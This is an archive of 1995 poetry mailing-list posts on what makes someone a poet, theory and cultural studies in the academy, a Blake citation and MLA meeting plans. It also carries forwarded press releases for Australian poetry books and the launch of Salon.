Or is writing poetry--like the good behavior of a Calvinist that proves that she is one of the elect--proof that one is among those predestined to be poets?

Can there be only a limited number of poets--such as the 144,000 that the Jehovah's Witnesses allow as the number of souls who will go to heaven?

Is being a poet a state of grace? Or is it a result of works?

Who has the final word as to whether someone is a poet? The MLA? Barnes and Noble? God? Time Magazine? The New Criterion?

Since many people use the word "poet" as what Frost called a "praise word," and apply it to those whose work they enjoy reading, maybe it might be best to invent some other word in order not to have one's own character compromised by being called a poet. For simplicity's sake we might use the word "Peot." It's easy to remember and it makes it easy to change if you accidentally use the word "poet." Maybe the list name could be changed to "Peotics."

Problem is, what if certain New Formalists started calling themselves peots, too? But I think it would be a safe bet that Seamus Heaney would not lay claim to the title.

Tom Kirby-Smith

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361. **kat**
Re: genetway
Sun 26 Nov 1995

Hey, if you think of Kaufman, think of me. No this ain't La Stein its just Lindberg, again. San Diego is a nice place for such conferences,the place where I first held forth on Kaufman, as I recall.

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362. **Maria Damon**
Re: for Maria D.
Sun 26 Nov 1995

---

charles a writes We miss you in Minneapolis, where things have been rather quiet. Myung Mi Kim & Mei-Mei Berssenbrugge will be here together in early March for readings/classes/fireside chats -- one of the last things I helped set up in my attempts to be ever so slightly subversive of biz as usual at minn. center for book arts. Hopefully we'll get all local poetics people here together at that time. *** i'll try to pass the word around from here, i've been teaching berssenbrugge for years and everyone --students that is --goes crazy about her, but needless to say, if you tell the cw office to publicize it, they'll say "who?"--

well, maybe not, since i lent one of her books to maria fitzgerald who knows a good thing or two. when i proposed brathwaite for a visiting writer i drew blank stares (again, w/ the exception of m fitzG). well, i could go on and on, and already have, too much for my own good (this list is not safe from infiltration, it turns out). anyway, i miss my nice sunny apt in mpls, and always carry a plastic bag of shells and sea pebbles in my car when in the midwest...best to you, charles and all m-politans!--md

↑ Index

363. **kat**
Re: literal characters and vatic lines
Sun 26 Nov 1995

Just a thought, one might add Herbert Marcuse, especially One Dimensional Man, nicely/frighteningly keyed to the 50's and 60's assaults on imagination by disciplinary mechanism(s) that would create ADMINISTERED MAN, to Foucault.

It is, however painful such discussions can be, a good sign that "the literary" is under attack. Pace Foucault's notice of (Saxon?) marching music--and not!--it is always time to question poetry--poetically, one hopes. Poetics can take the sting off of the many ways that Dichten can turn to marching music.

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364. **k. lindberg**
Re: poetry's "boss" poetry as mega meta-discourse
Sun 26 Nov 1995

---

this cautionary note is not directed to any one sender--do I mean "sender" as in Naked Lunch?

When we think of poetry as a unified field, even more of poetry and poetics as being or producing "The Boss," we should remember that Ezra Pound was not alone in calling Mussolini BOSS. Some might find this comforting; certainly the post-syndicalist, proto-fascist folks in Italy, France, and US thought lots about making poetry MATTER and making it BOSS other discourses. In other words, being discursive turf winner does not imply a progressive politics--or not. Besides, one can proclaim oneself master and still have nothing but a converted coterie. I have daily and humbly to remind myself that neo-modernism--on the model of "neo-colonialism," a more accurate title than post-modernism?--poses certain joys and dangers. Thinkingof poetry and poetics as separate and masterful or "autonomous," a neo-modernist gesture, is at keast complex. Does one, at this late hour/millenial moment, want poetry to be totalizing or total-itarian?

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365. **Tony Green**
Re: Metroplexities
Sun 26 Nov 1995

More concern over poetics. Seriously, poetics is the necessary position in which thinking (philosophy) is written. So all sciences in the full sense of "knowledges better watch out. We're the boss, if we choose to be. This runs counter to the usual administrative certainty that science in the narrow sense of the sciences (as per university practices) are the model for all academic activity. Social sciences seem to conform; humanities can be minced until they seem to conform, but to do so have to abandon poetics as their main concern. This is how it looks to me from here. It is amusing that Erwin Panofsky, the great iconologist, moving from Germany to the U.S.A. (and Britain and New Zealand are similar) found a big difference. In Germany, the humanities were the admired model that scientists and engineers wanted to emulate, -- in the U.S.A, other way round. It's a matter of what is deemed, ultimately, useful and what is therefore deemed useless. Best

Tony Green,
e-mail: [redacted]

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366. **Chris Stroffolino**
Re: Questions
Sun 26 Nov 1995

I'm interested in Tom Kirby Smith's heuristic notions of poetic "identity" and find it a fitting rebuke (originally I wrote renuke) of WCW's "I am a poet, I am. I am" which is somewhere between POPEYE and Mondale's "I am a real democrat, I am I am". Preferable for me is Riding's "warm accusation of being poets"---But since so many knew the WCW quote and posted it to the list, I have another question that any answer would be helpful (now that I'm in academia and need to CITE my references-- rather than simply let them circulate "freely" as it were)--- Somewhere William Blake talks about the difference between "States" and "Individuals" in a way that Kirby-Smith might like, a way that if I remember correctly gets to the heart of the question of ANY identity (poetic or otherwise)----Where may I find that quote? Does anybody know what piece it's taken from? I'm pretty sure it's not in MILTON or THE FOUR ZOAS or THE MARRIAGE OF H AND H or the songs of e and i---but where oh where? Thanks in advance, Chris Stroffolino

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367. jeffrey timmons
Re: Condition of Poetry in the Academy
Sun 26 Nov 1995

On Wed, 22 Nov 1995, Marjorie Perloff wrote:

> *Maria, I disagree only insofar as the people you're talking about HATE FICTION TOO, at least any interesting or experimental fiction. At your alma mater here, the undergrads actually love poetry--all they need is a little exposure. As for the grads, the ones who entered about 5 years ago and are now coming to the job market, HATE LITERATURE, period. They're Puritanical, and the idea of actually enjoying reading anything seems wrong. It's got to do "cultural work." So we have endless dissertations (I just got a list) of*
> *cost accounting in the 18th C and narrative*
> *The brewery and ale house in the 16th C*
> *The Temperance movement and gender*
>
> *Anything, but to have to figure out what the poetic or literary might actually be.*

Um.... You know, I have to object to this characterization. As a person interested in doing cultural work this hits pretty close to home. I object because while much cultural work does try and figure out what the poetic or literary might actually be in the context of its surroundings, the comments here suggest that if it's not directly engaged with the "literary" it ain't worth a darn. Does this imply a need to return to the text? That seems surprising.

The comments here also raise an issue that has puzzled me. My work has been committed to theory and its engagement with various cultural practices, yet, increasingly, I am hearing from many older and established faculty members who, either openly or implicitly, deride theory in its various forms. This puzzles me because I want my work to be up to date and relevant. I am not a trend-monger, nor is my committment to my work and theory a studied attempt at saying all the right things in hopes of obtaining a job. I guess, what it comes down to is that I find it deeply surprising--if not a little disappointing--when so much scholarly work is written off as hating literature....

Jeffrey Timmons

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368. jeffrey timmons
Re: Condition of Poetry in the Academy
Sun 26 Nov 1995

Oh, and I am not puritanical. Really. Honestly.

Jeffrey Timmons

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369. Stephen Galen Cope
Re: Condition of Poetry in the Academy
Sun 26 Nov 1995

It seems that a part of the ambivilence directed toward theory has to do with the tendency (not so much on the part of theorists themselves as the literary critics who make use of their models) towards treating theory as a kind of empirical ground in itself which all 'art' then represents and to which all cultural/creative artifacts must in some way refer means that those artifacts which don't fit -- and this is probably most of the interesting ones -- are simply ignored for the sake of critical efficacy. Poets and poems are treated either as secondary agents illustrating and exemplifying some theoretical premise or as hopelessly retro/romantic troublemakers who won't get with the program. Thus, the hatred for literature of which Marjorie speaks. Thus also, unfortunately, the accuracy of Maria's statement on the relative efficiency of theoretical work...

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370. Loss Glazier
Re: Mon. Night: epclive!
Sun 26 Nov 1995

> From: Maria Damon <[redacted]>
>
> loss, help! i think i have web but don't know. i'm spozed to write
> soemthing on anthologies for mla and wd like to participate or at least get a
> transcript of the proceedings of ep-clive, but don't know how to get on or to
> get transcripts!--maria d
>
Maria, a tough one! I'm not familiar with AOL. Maybe someone else on the list might be. I can't imagine they would still be in business

without offering web access. You probably need to contact them and
tell them you need to go to the url:
http://writing.upenn.edu/epc
If you can get to that URL then choose "epclive"
Perhaps someone else on the list has aol?
All best,
Loss

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371. **Chris Scheil**
Ayer Redux
Sun 26 Nov 1995

Cleaning out my hard-drive, I came across this message, which, for some mysterious reason, was never sent. Thought I'd throw it up for amusement & as a small token of those halcyon days...

rz
**

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372. **Chris Scheil**
Re: Ayer Redux
Sun 26 Nov 1995

---

sorry, forgot to append the correct file. Here it is...

Bravo David Ayer!

A game attempt at the paranoic style, though you're a little weak in the metaphor department, so let me give a few free invective examples to prime your delicious schizo-performative metier:

1. Bernstein (that faux-charismatic pavilion of lard melting under the sun of his own self regard) is nothing more than a charlatan, snake-charming the masses his self-mutilatory street-theater ethos, his turgid blague about "mediated cosmogonies of language, erected in the social." As if the mere act of putting down words weren't enough for this rapscallion (strutting around Buffalo like some minor character in a bad Gissing novel), he has to drag theory into the arena; on this subject, let me paraphrase: "Sir, I knew T.S. Eliot. T.S. Eliot was a friend of mine. Sir, you are no T.S. Eliot."

2. Only a ignorant, scrofuluos chap such as he would have the temerity to dismiss entire social movements, embedding himself like a somnolent tick in the clean-shaven groin of his own clique-ish generational cohort of quasi-elitist

druid-like versifiers (or should I say disimulators?), marching about in parodic lock-step & polishing his waste-paper chapbooks like they were God's own bequest to some vast & cultish mandarin salon of chosen poetic yogiis.

3. Hearing his nasal twang ring out over the restless crowd, one can't help but evoke images of ectomorphic pashas holding court in goat-pelt yurts on the vast Mongolian tundra, of wizened old barbers huddled in the WC with only a Gideon's Bible for company, of a drear sunday afternoon in a wastewater treatment plant, punching the mute & omnipresent timeclocks for some drab, celestial Pinkertons agency. Of a DDT wind blown through some Jurrasic swamp, tea-leaves encrusting a mason-jar glass, the laquered sheen of a billion centipedes crawling up Mt. Rushmore in a blizzard, the sound of a volkswagon engine turned over on some Januaury morning, after one's volvo's been repossessed because of some unfortunate words spoken at the methadone clinic...

You get my point.

(BTW Charles, just re-read _Naked City_. Can't express how much I enjoyed it.)

Chris Scheil

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373. Loss Glazier

Re: web?

Sun 26 Nov 1995

> *Charles Alexander wrote:*
> *I never thought of this list as necessarily confined to the academy, even if it does originate at a university. So why just MLA papers? If we do it, why not any papers, essays, reviews, by list members. But doesn't the list, or at least the EPC site, already have that possibility built into it? Loss? Ken?*

Yes, indeed! And as Ron so kindly replied, many such essays and papers are already there. These are no problem whatsoever to include and serve many uses. You can direct people to obtain copies there, people can get to them by browsing, and it's a way of getting feedback. As Ron also says, this may well be an important way to 'circulate' such papers as we move forward with all this.

Forget 'cyberspace'! The EPC is simply a kind of 'hub' where certain kinds of materials may circulate. Part small press, part literary distributor, part library, AND part news stand--and it is this latter area where paper has limited the circulation of essay, etc. (Plus, with epclive, the EPC can also now accommodate small 'conferences' and post transcripts of such events.) So the EPC does serve the function of getting some material out there for those who want to see it. And the great thing is, it's already working!

So yes, Charles -- and others, do let me know of papers you might like to put up. The EPC is ready!

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374. Tenney Nathanson
big round of applause
Mon 27 Nov 1995

---

to Loss and other EPC folks. This is terrific, and many thanks are owed. Here's one.

Tenney

> *Date: Sun, 26 Nov 1995 22:44:59 -0500*
> *From: Loss Glazier <[redacted]>*
> *Subject: Re: web?*
>
> *Charles Alexander wrote:*
> *I never thought of this list as necessarily confined to the academy, even if it does originate at a university. So why just MLA papers? If we do it, why not any papers, essays, reviews, by list members. But doesn't the list, or at least the EPC site, already have that possibility built into it? Loss? Ken?*
>
> *Yes, indeed! And as Ron so kindly replied, many such essays and papers are already there. These are no problem whatsoever to include and serve many uses. You can direct people to obtain copies there, people can get to them by browsing, and it's a way of getting feedback. As Ron also says, this may well be an important way to 'circulate' such papers as we move forward with all this.*
>
> *Forget 'cyberspace'! The EPC is simply a kind of 'hub' where certain kinds of materials may circulate. Part small press, part literary distributor, part library, AND part news stand--and it is this latter area where paper has limited the circulation of essay, etc. (Plus, with epclive, the EPC can also now accommodate small 'conferences' and post transcripts of such events.) So the EPC does serve the function of getting some material out there for those who want to see it. And the great thing is, it's already working!*
>
> *So yes, Charles -- and others, do let me know of papers you might like to put up. The EPC is ready!*
>
> *----------*

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375. **Tenney Nathanson**
history, theory, lit (huey, dewey, and louie?)
Mon 27 Nov 1995

> *Date: Sun, 26 Nov 1995 17:51:19 -0700*
> *From: jeffrey timmons <[redacted]>*
> *Subject: Re: Condition of Poetry in the Academy*
>
> *On Wed, 22 Nov 1995, Marjorie Perloff wrote:*
>
> *Maria, I disagree only insofar as the people you're talking about HATE FICTION TOO, at least any interesting or experimental fiction. At your alma mater here, the undergrads actually love poetry--all they need is a little exposure. As for the grads, the ones who entered about 5 years ago and are now coming to the job market, HATE LITERATURE, period. They're Puritanical, and the idea of actually enjoying reading anything seems wrong. It's got to do "cultural work." So we have endless dissertations (I just got a list) of*
> *cost accounting in the 18th C and narrative*
> *The brewery and ale house in the 16th C*
> *The Temperance movement and gender*
>
> *Anything, but to have to figure out what the poetic or literary might actually be.*
>
> *Um.... You know, I have to object to this characterization. As a person interested in doing cultural work this hits pretty close to home. I object because while much cultural work does try and figure out what the poetic or literary might actually be in the context of its surroundings, the comments here suggest that if it's not directly engaged with the "literary" it ain't worth a darn. Does this imply a need to return to the text? That seems surprising.*
>
> *The comments here also raise an issue that has puzzled me. My work has been committed to theory and its engagement with various cultural practices, yet, increasingly, I am hearing from many older and established faculty members who, either openly or implicitly, deride theory in its various forms. This puzzles me because I want my work to be up to date and relevant. I am not a trend-monger, nor is my committment to my work and theory a studied attempt at saying all the right things in hopes of obtaining a job. I guess, what it comes down to is that I find it deeply surprising--if not a little disappointing--when so much scholarly work is written off as hating literature....*
>
> *Jeffrey Timmons*

didn't mean to offend (as one of the poops who got into this thread early). The collapse of "theory" into cult studs, in Jeffrey's post, is interesting: while Cultural Studies IS assuredly theory, its relation to reading, at least as this filters into pedagogy, has been rather different from, say, deconstruction (that petit pedagogie bien determine(') or whatever it is Foucault called it dismissively). In our comp program, at any rate, the Rhet Comp contingent opposes "Cultural Studies" to "close reading," the latter being what retrograde Lit students supposedly do (but these latter often scurry to say no we don't). Deconstructors, of course, are maniacal close readers (hence, partly, Foucault's acerbic remark, but he was himself a remarkable close reader). So are lots of cultural studies critics. But I think Marjorie's criticism still stands: there are a lot of grad students (and professors, as several posts have pointed out) who deploy big cultural categories as an alternative to (or avoidance of) mucking about in details. Kenneth Koch used to say in class that it wasn't the broad points but the narrow ones, the remarks about odd details or idiosyncracies, that were most revealing about a writer's work (not THEMES but verbal ticks). Partly that's an old-fashioned old new criticism oddly surfacing, but it's also a poet's take. It's kind of like (oh no I'm gonna cite Eliot as an authority, and approvingly!!!) Eliot on personality and impersonality (great to escape from if you got one): there's not much that can't be interesting if reading acumen is at work, not much that can be if not.

anyway I think some grad classes where folks just sit around pretending there is no such thing as theory and mucking around with single poems for an hour or so are a good idea.

re the increasingly-retrograde older faculty remark by Jeffrey: I think some of it is based not on a weariness with theory, but on a suspicion of lit crit wielding theory not inflected by close reading. oh well. so, sure: a "return to the text," why not--and a "Return to Freud" for that matter!

urgh.

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376. **Steve Carll**
Re: Questions
Mon 27 Nov 1995

Chris:

Blake talks about States and Individuals in several places, but what I think you're thinking of is indeed in _Milton_, plate 32, lines 10-35 (in the revised Erdman edition):

We are not Individuals but States: Combinations of Individuals (...) Distinguish therefore States from Individuals in those States. States Change: but Individual Identities never change nor cease: You cannot go to Eternal Death in that which can never Die. (...) The Imagination is not a State: it is the Human Existence itself Affection or Love becomes a State, when divided from Imagination The Memory is a State always, & the Reason is a State Created to be Annihilated & a new Ratio Created

This pair gets mentioned also in _The Four Zoas_, _A Vision of the Last Judgment_, and _Jerusalem_. S. Foster Damon defines "States" in Blake as "stages of error, which the Divine Mercy creates (or defines) so that the State and not the Individual in it whall be blamed." (Gotta love that Blake Dictionary!) In other words, one passes through the state on the way back to Eternity.

At 06:42 PM 11/26/95 -0500, you wrote:
> I'm interested in Tom Kirby Smith's heuristic notions of poetic "identity"
> and find it a fitting rebuke (originally I wrote renuke) of WCW's
> "I am a poet, I am. I am" which is somewhere between POPEYE and Mondale's
> "I am a real democrat, I am I am". Preferable for me is Riding's "warm
> accusation of being poets"---But since so many knew the WCW quote and
> posted it to the list, I have another question that any answer would
> be helpful (now that I'm in academia and need to CITE my references--
> rather than simply let them circulate "freely" as it were)---
> Somewhere William Blake talks about the difference between "States"
> and "Individuals" in a way that Kirby-Smith might like, a way that
> if I remember correctly gets to the heart of the question of ANY identity
> (poetic or otherwise)----Where may I find that quote?
> Does anybody know what piece it's taken from? I'm pretty sure it's not
> in MILTON or THE FOUR ZOAS or THE MARRIAGE OF H AND H or the songs of e and
> i---but where oh where? Thanks in advance, Chris Stroffolino
>
>

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377. Marjorie Perloff
Re: POETICS Digest - 25 Nov 1995 to 26 Nov 1995
Mon 27 Nov 1995

Re: Jeffrey Timmons's comments on cultural studies.

cultural studies, as conceived in the wake of the New Historicism was wonderful and liberating--I am not at all opposed to it. But in the last few

years, it's taken a weird turn back to a kind of pre-New Critical subject-matter scholarship: i.e., the treatment of motherhood in the 19th c. novel etc etc. Much of it assumes that a novel, say, is just a straightforward social document and hence that what is "said" about motherhood is an accurate reflection of what Victorian attitudes were. This is hardly what Foucault had in mind and it has become oppressive--or so think.

Marjorie Perloff

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378. Stephen Galen Cope
Re: Condition of Poetry in the Academy
Mon 27 Nov 1995

Sorry for the repeat, but my last post got cut...

It seems that a part of the ambivilence directed toward theory has to do with the tendency (not so much on the part of theorists themselves as the literary critics who make use of their models) towards treating theory as a kind of empirical ground in itself which all 'art' then represents and to which all cultural/creative artifacts must in some way refer. This means that those artifacts which don't fit -- and this is probably most of the interesting ones -- are simply ignored for the sake of critical efficacy. Poets and poems are treated either as secondary agents illustrating and exemplifying some theoretical premise or as hopelessly retro/romantic troublemakers who won't get with the program. Thus, the hatred for literature of which Marjorie speaks. Thus also, unfortunately, the accuracy of Maria's statement on the relative efficiency of theoretical work...

It would seem important to realize, with Tony Green, that poetics is a condition for all writing -- that theory and criticism and interpretation are productive acts that, at best, are aimed at creating models or maps for thought and action. The real question is whether or not a

given map is useful or, for that matter, relevant
at all...

-Stephen Cope

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379. David Kellogg
Re: Condition of Poetry in the Academy
Mon 27 Nov 1995

On Sun, 26 Nov 1995, jeffrey timmons wrote:

[big snip]

> *I guess, what it comes down*
> *to is that I find it deeply surprising--if not a little*
> *disappointing--when so much scholarly work is written off as hating*
> *literature....*

I would like to second this position. My own theoretical writing is not about hating or liking literature but is a different sort of work altogether (about, mainly, how the terms of value in the literary field get circulated and reproduced). Now, obviously I can't remove my own contributions from the field I'm analyzing, but that, to put it bluntly, is a theoretical problem. Just because work doesn't promote certain writers the way some work does does not meant that it hates poetry, or fiction, or anything else. Give me a break.

Cheers,
David
~~~
~~~

> *can designate as a congregational moment --or shd we "take a table" and have shifts of us? if we designate a place and a few times, i figure we can overlap, --any specific suggestions?--maria d*

Not knowing Chicago well, (and hoping for interviews at yet-to-be-determined times), no, but I think Marjorie's suggestion of meeting at the Rothenberg/Joris party is a start. Problem is, that's at the end of the convention.

Cheers,
David
~~~
~~~

Jennifer Burke was a rising star in the Sydney City Opera until she fell off a cliff or was she pushed? Marc, an accident-prone opera queen, and his friend Paul, a chorus boy addicted to dance parties, decide to investigate. Being very amateur detectives, they incompetently lose the evidence and accuse all the wrong people in their quest to solve the puzzle. Part murder mystery, part farce, part contemporary satire, and even part romance, One Dead Diva is one lively read.

Phillip Scott is a well-known musician, actor, composer, and television comedy writer. His credits include The Big Gig, The Gillies Report and Three Men and a Baby Grand for ABC Television, and performances in many plays and musicals. He co-wrote the shows Safety in Numbers and Zena and Now, and is keyboard player/arranger with Ignatius Jones' swing band Pardon-Me-Boys. He likes opera, and coffee, and lives right under the flight path in Sydney's inner west.

One Dead Diva will be launched by Dennis Watkins, Sydney Gay and Lesbian Mardi Gras Festival Director, at 4.30pm on 3rd December at the Lizard Lounge, upstairs at the Exchange Hotel, 34 Oxford Street, Darlinghurst Sydney. Miss Caroline Clark will attend.

One Dead Diva is the fifth book released from BlackWattle Press this year; three of them from first time authors. 'While it's been quite hard work, the release of each one of these titles is a celebration of the strength and diversity of the Australian gay and lesbian community,' said Laurin McKinnon, manager at BlackWattle. 'We're looking forward to next year with some excitement.'

ONE DEAD DIVA, by Phillip Scott
ISBN 1 875243 21 6, 240 pages $16.95, On release December 3 1995

BlackWattle Press Pty Ltd. PO Box 4 Leichhardt NSW 2040 Phone & fax * Sydney 02 [redacted] * Australia + [redacted] We're on E-mail at - [redacted]

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382. Mark Roberts
AWOL: Polonius Press New Releases
Mon 27 Nov 1995

The following message has been posted by Australian Writing Online for Polonius Press. Enquiries about the title or service listed below should be directed to Polonius Press at the contacts listed.

ABOUT AWOL: AWOL is a information and distribution resource for Australian creative writers and publishers. We offer a variety of services from a monthly national writing what's on list (Happenings), through small press distribution, internet and conventional publicity service for writers and publishers as well a small press 'virtual bookshop'. All AWOL services are available through the internet, by fax or by mail. We can be contacted at PO Box 333 Concord NSW

2137 Australia EMail [redacted] or [redacted] Phone 61 2 7475667 Fax 61 2 7472802

****

Polonius Press is launching two new poetry books:

TRANS-SUMATRAN HIGHWAY & OTHER POEMS (96pp, $17.95) by S. K. Kelen

and

MRS SCHNELL'S ENTRY INTO HEAVEN (55pp, $17.95)
& other light verse by Geoff Page

The books will be launched by Senator Bob McMullan at the Members Bar, Old Parliament House commencing 6pm on Wednesday 29 November 1995.

Anyone wishing to purchase either of these books can order them direct from the publisher: Phil MacKenzie
Polonius Publications
35 Wybalena Grove
COOK, ACT, 2614

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383. **Chris Stroffolino**
Re: Questions
Mon 27 Nov 1995

Thanks, Steve---I had forgotten I actually have the Blake dictionary-- but maybe it was just an excuse to get you to quote this to the list! But Damon may be--as usual--reductive--for though "States" may be errors for Blake, it seems his idea of the "individual" is also more complex than Damon allows. For if the "individual" is that which can not change, it is of course more like "imagination" and certainly not the autonomous individual or the "egotistical sublime" (as Keats says of Wordsworth). It wouldn't be too much of a stretch to say that Blake's "imagination" (in the above quote at least) is far more like Marx's "labour" in the way it operates in his system---as an activity rather than a state. So so much for the Edison division between perspiration and inspiration....Chris

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384. **Joseph Conte**
Williams, W. C.
Mon 27 Nov 1995

In reply to Mr. Kirby Smith's inquiry as to whether W. C. Williams ever declared himself a "poet," there is a rather poignant passage towards the end of "The Desert Music" in which Williams replies to the inquiries of a dinner guest:

So you're a poet?
a good thing to be got rid of--half drunk
a free dinner under your belt, even though you
get typhoid--and to have met people you
can at least talk to .

*

I _am_ a poet! I
am. I am. I am a poet, I reaffirmed, ashamed

It's fairly apparent that within the "professional" or business community Williams felt such an admission of vocation--with the no distinction between what one "does" and who one "is"--difficult to make in mid-century America. As an addendum, I'd say that declaring one's profession as Professor of Poetry in polite conversation around the Thanksgiving Turkey in 1995 doesn't get you very many more nods of approval and tacit understanding than Williams's admission got him in 1954.

Joseph Conte

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385. **Maria Damon**
Re: genetway
Mon 27 Nov 1995

---

la lindberg writes:

Hey, if you think of Kaufman, think of me. No this ain't La Stein its just Lindberg, again. San Diego is a nice place for such conferences,the place where I first held forth on Kaufman, as I recall. *** so, le aldon, here's my scoop: at the very time of the ALA i may be needing to demenage from my sabbatical home, since it's a may-june wkend and i may need to be outta here june 1 (june 15 if i'm lucky, but can't count on it). so maybe i oughta pass --i hate to forego a chance to talk kaufman in sd, but la lindberg shd do you proud.--la daemon

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386. **Maria Damon**
Re: MLA Get together
Mon 27 Nov 1995

---

la MP ecrit:

Some people have asked when those in this group could get together at MLA.

You are hereby invited to the joint party sponsored by the ACLA (american com lit assoc) and the U-Cal Press in honor of Jerry Rothenberg/Pierre Joris's fabulous POEMS FOR THE MILLENIUM

It's listed in program as "ACLA cash bar," 5.15 PM, 28th, Marriot Hotel. But I believe you'll get at least one free drink and good food and meet your friends. I think J and P will also be saying a few words.

See you there, I hope!

Marjorie *** thanks marjorie --cool. that absolves me of the onerous organizational task of rounding up likely suspects at some unspecifciable bar. i'd heard a rumor about the millenial party, but didn't want to presume. now i can crash the gate w/ my disreputable cultural studies friends in tow (just kidding, they'd never come to a "poetry" event) --looking forward to it and to seeing y'all's name tags. yrs--md

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387. **Bill Luoma**
Re: Question
Mon 27 Nov 1995

---

kirb th rit:

> *I was wondering how a person knows*
> *for sure that she or he is a poet?*

According to Spicer, anyone who has caught a rabbit is poat.

"The language is there and it has to be learned and you have to really know the shadows of words and all that eventually. But the first thing, if you are going to build a house and furnish it and set a table and all that-the first thing you have to do is make sure you have a guest. I mean it's like the receipe for rabbit stew. First catch the rabbit."

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388. **Eryque Gleason**

Press Release--WWW Magazine (fwd) -Forwarded

Mon 27 Nov 1995

This seemed like something of particular interest to some of us here. Load it up and notice that it's sponsored by Borders.

Enjoy!
Eryque

> *San Francisco Journalists Bring Wit and Smarts to the World Wide Web with 'Salon' Apple Computer, Adobe Ventures L.P., Borders, Inc. Help Launch Journalists' Dream Publication*
>
> *SAN FRANCISCO, California--November 20, 1995--People who spend their time surfing the World Wide Web no longer have to turn off their computers and walk down to the corner newsstand to get their daily dose of intelligent and fun discussion about modern culture. Today, some of San Francisco's top journalists have launched SALON--a new World Wide Web site that aims to bring lively, smart and engaging discourse about the arts, books and ideas to the Internet.*
>
> *The venture, which is funded by Apple Computer, Inc., Adobe Ventures L.P., and retail bookstore experts Borders, Inc., is the creation of David Talbot and David Zweig. Talbot, the SALON Web site editor and CEO, is the former arts and features editor of the San Francisco Examiner. Zweig, the SALON Web site publisher and president, has a long history in publishing and entrepreneurial ventures.*
>
> *SALON (http://www.salon1999.com) marries the immediacy and free-spiritedness of the Internet with the intelligence, spirit and variety of daily journalism. Talbot and Zweig have assembled an impressive staff, including Internet expert Howard Rheingold, award-winning art director Mignon Khargie and TV critic Joyce Millman, a two-time Pulitzer Prize finalist in criticism.*
>
> *"We aim to bring to electronic media the sort of intelligent and provocative discussion of cultural issues that seems to have disappeared from the mass media today," Talbot said. "We see the promise of a cultural rebirth in the ascendance of the World Wide Web, and we hope SALON contributes to that renaissance."*
>
> *Unlike other magazines which came to the Internet by way of print progenitors, SALON was created solely for the World Wide Web. Inside the SALON Web site, people will encounter not only authors, artists and thinkers, but a kinetic community of readers and kindred spirits eager to thrash out cultural, political and literary issues. During the startup period, SALON will publish biweekly, and after that on a weekly basis,*

with daily updates.

In addition to each issue's interviews and features, SALON departments will bring the reader daily editorials, cultural news in-brief, an interactive mystery, reviews of movies, fiction, multimedia, and music, and conversation in the form of live chats with celebrity guests and topical discussion threads. The premier issue features interviews with authors Amy Tan and John le Carre, commentary by Camille Paglia, a roundtable on America's strained race relations with authors Shelby Steele, Richard Rodriguez, Stanley Crouch and Jim Sleeper and an essay by Armistead Maupin.

Realizing the creative significance of SALON and its potential draw for Macintosh users, the Apple Internet Services division of Apple Computer, Inc. has backed the venture. Apple provided start-up financing for the project and, going forward, aims to develop further co-marketing and content production relationships with SALON. "SALON fits perfectly with our aim to provide a portfolio of Web sites that appeal to Apple customers in the home and creative professions" says Peter Friedman, vice president of the division. "But more importantly, we see in SALON an unstoppable cultural force aimed at making the Web the 21st Century equivalent of a 15th century Florentine piazza--and we want to make sure we're there!"

"We believe that SALON is a good example of the marriage of visually rich content with an exciting new medium--the World Wide Web," said Fred Mitchell, vice president of business development for Adobe Systems. "We are very excited about participating in this new venture and look forward to our continued involvement." Adobe Ventures L.P., was established in June 1994, and is currently a $40 million venture capital limited partnership between Adobe Systems Incorporated and Hambrecht & Quist Group. It is chartered to invest in innovative companies strategic to Adobe's businesses. Hambrecht & Quist Group is a venture capital, investment banking and securities brokerage firm specializing in emerging growth companies in chosen areas of industry focus, including technology and life sciences.

Borders Inc., the nationwide chain of book and music superstores based in Ann Arbor, Michigan, is co-sponsoring the new magazine through the underwriting of "Sneak Peeks," a preview section of forthcoming books that will appear in SALON. And Borders will help Web surfers find SALON by distributing bookmarks featuring the site's Internet address in its nearly 100 stores nationwide. Sneak Peeks titles and reviews will also be displayed in all of its stories. In addition, SALON readers will be able to order titles featured in the magazine by e-mail from Borders.

"This is an ideal alliance--both Borders and SALON celebrate the excitement of discovery and new ideas," said Robin Wagner, senior vice

president of merchandising at Borders. By virtue of residing on the Internet's World Wide Web, SALON is available to people using any type of computer--Macintosh, PC-compatibles, etc.--so the common ground of users becomes the passion for reading and thinking rather than technology preference.

The SALON Web site (http://www.salon1999.com) was developed using software technology from WebGenesis (http://www.webgenesis.com), an Ithaca, New York-based firm owned and operated by twelve Cornell University students with an eye for the future. Saturn Corporation (http://www.saturncars.com) is SALON's charter advertiser.

NOTE TO EDITORS: If you are interested in receiving Apple press releases by fax, call 1-800-AAPL-FAX ([redacted]) and enter your PIN. If you do not have a PIN, please call the Public Relations Hotline at [redacted]

Apple Computer, Inc., a recognized pioneer and innovator in the information industry, creates powerful solutions based on easy-to-use personal computers, servers, peripherals, software, online services, and personal digital assistants. Headquartered in Cupertino, California, Apple (NASDAQ:AAPL) develops, manufactures, licenses and markets products, technologies and services for the business, education, consumer, scientific, engineering and government markets in over 140 countries.

Adobe Systems Incorporated, (NASDAQ:ADBE) founded in 1982, is headquartered in Mountain View, California. Adobe develops, markets and supports computer software products and technologies that enable users to create, display, print and communicate electronic documents. The company licenses its technology to major computer, printing and publishing suppliers, and markets a line of applications software and type products for authoring visually rich documents. Additionally, the company markets a line of powerful, but easy to use products for home and small business users. Adobe has subsidiaries in Europe, Asia and the Pacific Rim serving a worldwide network of dealers and distributors. Adobe's 1994 revenue was approximately $598 million.

Press Contacts: SALON Internet, Inc. Cynthia Joyce [redacted] *e-mail:* [redacted]

Adobe Systems Incorporated
Carol Sacks
[redacted]
e-mail: [redacted]

Apple Computer, Inc.
Maureen O'Connell

> [redacted]
> *e-mail:* [redacted]
>
> *Borders, Inc.*
> *Marilyn Slankard*
> [redacted]
> *e-mail:* [redacted]
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> *Apple's home page on the World Wide Web: http://www.apple.com*
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> *-30-*
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389. **Bill Luoma**

Re: Poetry/Fiction/Literature divisions

Mon 27 Nov 1995

---

md wrote:

> *c-word (culture, not capped) has a dubious reputation. . .*

That's what we used to call Steven Greenblat's mag (Reputations).

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390. **Jordan Davis**

Re: Press Release--WWW Magazine (fwd) -Forwarded

Mon 27 Nov 1995

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http://www.suck.com

http://www.papermag.com

two dailies up and running now
suck/ lowbrow slack web-satire
paper// downtown ny "c-word"

anybody know of any other thoughtful daily pages?

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391. **Maria Damon**
Re: poetry's "boss" poetry as mega meta-discourse
Mon 27 Nov 1995

---

